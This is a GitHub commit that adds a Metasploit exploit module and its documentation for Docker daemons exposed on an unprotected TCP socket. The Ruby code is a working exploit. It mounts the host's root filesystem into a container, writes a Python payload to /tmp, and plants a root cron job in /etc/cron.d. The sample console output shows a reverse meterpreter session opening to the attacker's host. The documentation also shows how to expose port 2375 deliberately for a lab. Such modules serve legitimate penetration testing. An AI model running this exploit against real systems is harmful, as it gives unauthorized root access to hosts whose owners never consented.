Skip to content

Commit cd41855

Browse files
committed
Docker Daemon - Unprotected TCP Socket Exploit
1 parent c9853a6 commit cd41855

File tree

2 files changed

+327
-0
lines changed

2 files changed

+327
-0
lines changed
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
# Vulnerable Application
2+
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
3+
with tls but without tls-auth), an attacker can create a Docker
4+
container with the '/' path mounted with read/write permissions on the
5+
host server that is running the Docker container. As the Docker
6+
container executes command as uid 0 it is honored by the host operating
7+
system allowing the attacker to edit/create files owned by root. This
8+
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
9+
the host server.
10+
11+
The Docker image should exist on the target system or be a valid image
12+
from hub.docker.com.
13+
14+
## Docker Engine
15+
By default, Docker runs via a non-networked unix socket. It can also
16+
optionally communicate using a tcp socket.
17+
18+
> Warning: Changing the default docker daemon binding to a TCP port or
19+
Unix docker user group will increase your security risks by allowing
20+
non-root users to gain root access on the host. Make sure you control
21+
access to docker. If you are binding to a TCP port, anyone with access
22+
to that port has full Docker access; so it is not advisable on an open
23+
network. -- [from docs.docker.com][1]
24+
25+
This module was tested with Debian 9 and CentOS 7 as the host operating
26+
system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1.
27+
28+
### Install Debian 9
29+
First [install Debian 9][2] with default task selection. This includes
30+
the "*standard system utilities*".
31+
32+
### Install Docker
33+
Then install a supported version of [Docker on Debian system][3].
34+
35+
```bash
36+
# TL;DR
37+
apt-get remove docker docker-engine
38+
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
39+
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
40+
apt-key fingerprint 0EBFCD88
41+
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
42+
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
43+
apt-get update
44+
apt-get install docker-ce
45+
docker run hello-world
46+
```
47+
48+
### Activate unprotected tcp socket
49+
Once Docker is installed, customize the Docker daemon options and add
50+
the tcp socket `-H tcp://0.0.0.0:2375` option. On Debian override the
51+
settings from `/lib/systemd/system/docker.service` with a new file
52+
`/etc/systemd/system/docker.service`.
53+
54+
Further information: [docker systemd][4] and [docker daemon options][5].
55+
56+
```bash
57+
# TL;DR
58+
echo "[Service]
59+
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service
60+
systemctl daemon-reload
61+
systemctl restart docker
62+
curl http://127.0.0.1:2375/_ping ; echo
63+
OK
64+
```
65+
66+
### Mitigation
67+
68+
[Disable][5] or [protect][6] the Docker tcp socket.
69+
70+
# Exploitation
71+
This module is designed for the attacker to leverage, creation of a
72+
Docker container with out authentication through the Docker tcp socket
73+
to gain root access to the hosting server of the Docker container.
74+
75+
## Options
76+
- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit.
77+
- CONTAINER_ID is optional if you want to have your container Docker have a human readable name else it will be randomly generated it will be randomly generated
78+
79+
## Steps to exploit with module
80+
- [ ] Start msfconsole
81+
- [ ] use exploit/linux/http/docker_daemon_tcp
82+
- [ ] Set the options appropriately and set VERBOSE to true
83+
- [ ] Verify it creates a Docker container and it successfully runs
84+
- [ ] After a minute a session should be opened from the Docker server
85+
86+
## Example Output
87+
```
88+
msf > use exploit/linux/http/docker_daemon_tcp
89+
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
90+
RHOST => 192.168.66.23
91+
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
92+
PAYLOAD => python/meterpreter/reverse_tcp
93+
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
94+
LHOST => 192.168.66.10
95+
msf exploit(docker_daemon_tcp) > set VERBOSE true
96+
VERBOSE => true
97+
msf exploit(docker_daemon_tcp) > check
98+
[+] 192.168.66.23:2375 The target is vulnerable.
99+
msf exploit(docker_daemon_tcp) > run
100+
101+
[*] Started reverse TCP handler on 192.168.66.10:4444
102+
[*] Check if images exist on the target host
103+
[*] Image is not available on the target host
104+
[*] Trying to pulling image from docker registry, this may take a while
105+
[*] Setting container json request variables
106+
[*] Creating the docker container command
107+
[*] The docker container is created, waiting for deploy
108+
[*] Waiting for the cron job to run, can take up to 60 seconds
109+
[*] Waiting until the docker container stopped
110+
[*] The docker container has been stopped, now trying to remove it
111+
[*] Sending stage (40411 bytes) to 192.168.66.23
112+
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
113+
[+] Deleted /etc/cron.d/lVoepNpy
114+
[+] Deleted /tmp/poasDIuZ
115+
116+
117+
meterpreter > sysinfo
118+
Computer : debian
119+
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
120+
Architecture : x64
121+
System Language : en_US
122+
Meterpreter : python/linux
123+
meterpreter >
124+
```
125+
126+
[1]:https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket
127+
[2]:https://www.debian.org/releases/stretch/amd64/index.html.en
128+
[3]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
129+
[4]:https://docs.docker.com/engine/admin/systemd/
130+
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
131+
[6]:https://docs.docker.com/engine/security/https/
Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
15+
'Description' => %q{
16+
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
17+
with tls but without tls-auth), an attacker can create a Docker
18+
container with the '/' path mounted with read/write permissions on the
19+
host server that is running the Docker container. As the Docker
20+
container executes command as uid 0 it is honored by the host operating
21+
system allowing the attacker to edit/create files owned by root. This
22+
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
23+
the host server.
24+
25+
The Docker image should exist on the target system or be a valid image
26+
from hub.docker.com.
27+
},
28+
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
29+
'License' => MSF_LICENSE,
30+
'References' => [
31+
['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
32+
],
33+
'DisclosureDate' => 'Jul 25, 2017',
34+
'Targets' => [
35+
[ 'Python', {
36+
'Platform' => 'python',
37+
'Arch' => ARCH_PYTHON,
38+
'Payload' => {
39+
'Compat' => {
40+
'ConnectionType' => 'reverse noconn none tunnel'
41+
}
42+
}
43+
}]
44+
],
45+
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
46+
'DefaultTarget' => 0))
47+
48+
register_options(
49+
[
50+
Opt::RPORT(2375),
51+
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
52+
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
53+
]
54+
)
55+
end
56+
57+
def check_image(image_id)
58+
vprint_status("Check if images exist on the target host")
59+
res = send_request_raw(
60+
'method' => 'GET',
61+
'uri' => normalize_uri('images', 'json')
62+
)
63+
return unless res.code == 200 and res.body.include? image_id
64+
65+
res
66+
end
67+
68+
def pull_image(image_id)
69+
print_status("Trying to pulling image from docker registry, this may take a while")
70+
res = send_request_raw(
71+
'method' => 'POST',
72+
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
73+
)
74+
return unless res.code == 200
75+
76+
res
77+
end
78+
79+
def make_container_id
80+
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
81+
82+
rand_text_alpha_lower(8)
83+
end
84+
85+
def make_cmd(mnt_path, cron_path, payload_path)
86+
vprint_status('Creating the docker container command')
87+
echo_cron_path = mnt_path + cron_path
88+
echo_payload_path = mnt_path + payload_path
89+
90+
cron_command = "python #{payload_path}"
91+
payload_data = payload.raw
92+
93+
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
94+
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
95+
command << "echo \"\" >> #{echo_cron_path} && "
96+
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
97+
98+
command
99+
end
100+
101+
def make_container(mnt_path, cron_path, payload_path)
102+
vprint_status('Setting container json request variables')
103+
{
104+
'Image' => datastore['DOCKERIMAGE'],
105+
'Cmd' => make_cmd(mnt_path, cron_path, payload_path),
106+
'Entrypoint' => %w[/bin/sh -c],
107+
'HostConfig' => {
108+
'Binds' => [
109+
'/:' + mnt_path
110+
]
111+
}
112+
}
113+
end
114+
115+
def del_container(container_id)
116+
send_request_raw(
117+
{
118+
'method' => 'DELETE',
119+
'uri' => normalize_uri('containers', container_id)
120+
},
121+
1 # timeout
122+
)
123+
end
124+
125+
def check
126+
res = send_request_raw(
127+
'method' => 'GET',
128+
'uri' => normalize_uri('containers', 'json'),
129+
'headers' => { 'Accept' => 'application/json' }
130+
)
131+
return Exploit::CheckCode::Vulnerable if res.code == 200 and res.headers['Server'].include? 'Docker'
132+
133+
Exploit::CheckCode::Safe
134+
end
135+
136+
def exploit
137+
# check if target is vulnerable
138+
fail_with(Failure::Unknown, 'Failed to connect to the targeturi') if check.nil?
139+
140+
# check if image is not available, pull it or fail out
141+
image_id = datastore['DOCKERIMAGE']
142+
if check_image(image_id).nil?
143+
fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
144+
end
145+
146+
# create required information to create json container information.
147+
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
148+
payload_path = '/tmp/' + rand_text_alpha(8)
149+
mnt_path = '/mnt/' + rand_text_alpha(8)
150+
container_id = make_container_id
151+
152+
# create container
153+
res_create = send_request_raw(
154+
'method' => 'POST',
155+
'uri' => normalize_uri('containers', 'create?name=' + container_id),
156+
'headers' => { 'Content-Type' => 'application/json' },
157+
'data' => make_container(mnt_path, cron_path, payload_path).to_json
158+
)
159+
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
160+
161+
print_status("The docker container is created, waiting for deploy")
162+
register_files_for_cleanup(cron_path, payload_path)
163+
164+
# start container
165+
send_request_raw(
166+
{
167+
'method' => 'POST',
168+
'uri' => normalize_uri('containers', container_id, 'start')
169+
},
170+
1 # timeout
171+
)
172+
173+
# wait until container stopped
174+
vprint_status("Waiting until the docker container stopped")
175+
res_wait = send_request_raw(
176+
'method' => 'POST',
177+
'uri' => normalize_uri('containers', container_id, 'wait'),
178+
'headers' => { 'Accept' => 'application/json' }
179+
)
180+
181+
# delete container
182+
deleted_container = false
183+
if res_wait.code == 200
184+
vprint_status("The docker container has been stopped, now trying to remove it")
185+
del_container(container_id)
186+
deleted_container = true
187+
end
188+
189+
# if container does not deploy, remove it and fail out
190+
unless deleted_container
191+
del_container(container_id)
192+
fail_with(Failure::Unknown, "The docker container failed to deploy")
193+
end
194+
print_status('Waiting for the cron job to run, can take up to 60 seconds')
195+
end
196+
end

0 commit comments

Comments
 (0)